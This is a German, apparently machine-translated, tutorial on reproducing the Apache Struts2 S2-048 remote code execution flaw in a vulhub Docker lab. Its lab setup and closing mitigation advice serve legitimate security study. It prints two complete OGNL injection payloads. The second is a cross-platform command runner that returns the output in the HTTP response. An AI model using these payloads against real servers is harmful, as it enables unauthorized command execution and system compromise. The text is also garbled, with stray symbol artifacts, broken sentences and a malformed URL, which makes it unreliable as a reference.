Das Struts2-Framework ist ein Framework für die Entwicklung von Java EE-Netzwerkanwendungen Die Open-Source-Webanwendungsarchitektur des Programms. Es nutzt und erweitert die Java-Servlet-API und ermutigt Entwickler, die MVC-Architektur zu übernehmen. Struts2 basiert auf den hervorragenden Designideen von WebWork, übernimmt einige der Vorteile des Struts-Frameworks und bietet ein übersichtlicheres Webanwendungs-Framework, das im MVC-Designmuster implementiert ist.
In der Apache Struts2 2.3.x-Serie sind das Plug-in struts2-struts1-plugin und das struts2-showcase aktiviert Verzeichnis existiert und seine Schwachstelle Die Ursache ist, dass, wenn ActionMessage vom Kunden steuerbare Parameterdaten empfängt, eine unsachgemäße Verarbeitung nach dem anschließenden Spleißen und Übertragen der Daten zur Ausführung willkürlichen Codes führt
Download-Adresse: https://github.com/vulhub/vulhub
2 Entpacken Sie nach dem Herunterladen das Verzeichnis s2-048, starten Sie die Schwachstellenumgebung # 🎜🎜## 🎜🎜#cd cd vulhub-master/struts2/s2-048/ //Geben Sie das Verzeichnis ein
docker-compose up -d //Schießstand starten# 🎜🎜#3 Verwenden Sie Docker PS, um zu überprüfen, ob der Start erfolgreich ist
4. Geben Sie http:your-ip:8080/hello.action in den Browser ein und prüfen Sie, ob die folgende Seitenumgebung eingerichtet wurde
#🎜 🎜#
0x04 Schwachstellenwiederherstellung jetzt
1. Geben Sie den folgenden Link in den Browser ein, um auf die Schwachstellenseite zuzugreifen
2. Geben Sie ${1+1} in das erste Formular „Gangstername“ ein. Geben Sie unten ein, was Sie möchten, und klicken Sie auf „Senden“, um den ausgeführten OGNL-Ausdruck anzuzeigen ${1+1} at Gangster Name“ für den folgenden Befehl. Payload-Anweisung ausgeführt
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm) :((#container=#context['com.opensymphony .xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil .getExcludedPackageNames().clear()).(#ognlUtil .getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils @toString(@java.lang.Runtime@getRuntime() .exec('id').getInputStream())).(#q)}
#🎜 🎜##🎜🎜 #3 Sie können Burp auch verwenden, um das Paket zu erfassen und es in die Anweisung der Nutzlast zu ändern, die durch den Befehlausgeführt wird. Hinweis: die Nutzlast muss URL-codiert sein
%{(#dm=@ognl.OgnlContext @DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com. opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com. opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(# ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))) .(#cmd='id').(#iswin=(@java.lang.System@getProperty('os. name').toLowerCase().contains('win'))).(#cmds=(# iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash',' -c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds )).(#p.redirectErrorStream(true)).(#process=#p.start()).(# ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).( @org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(# ros.flush())}
4. Es kann mithilfe automatisierter Skripte oder grafischer Tools implementiert werden und wird hier nicht demonstriert.
Tools können auf GitHub gesucht und heruntergeladen werden
1. Es wird empfohlen, ein Upgrade auf die neueste Version durchzuführen
2. Deaktivieren und schließen Sie Struts-2.3 .xappsstruts2-showcase.war-Paket
Das obige ist der detaillierte Inhalt vonSo reproduzieren Sie die Schwachstelle Apache Struts2--048 bezüglich Remotecodeausführung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!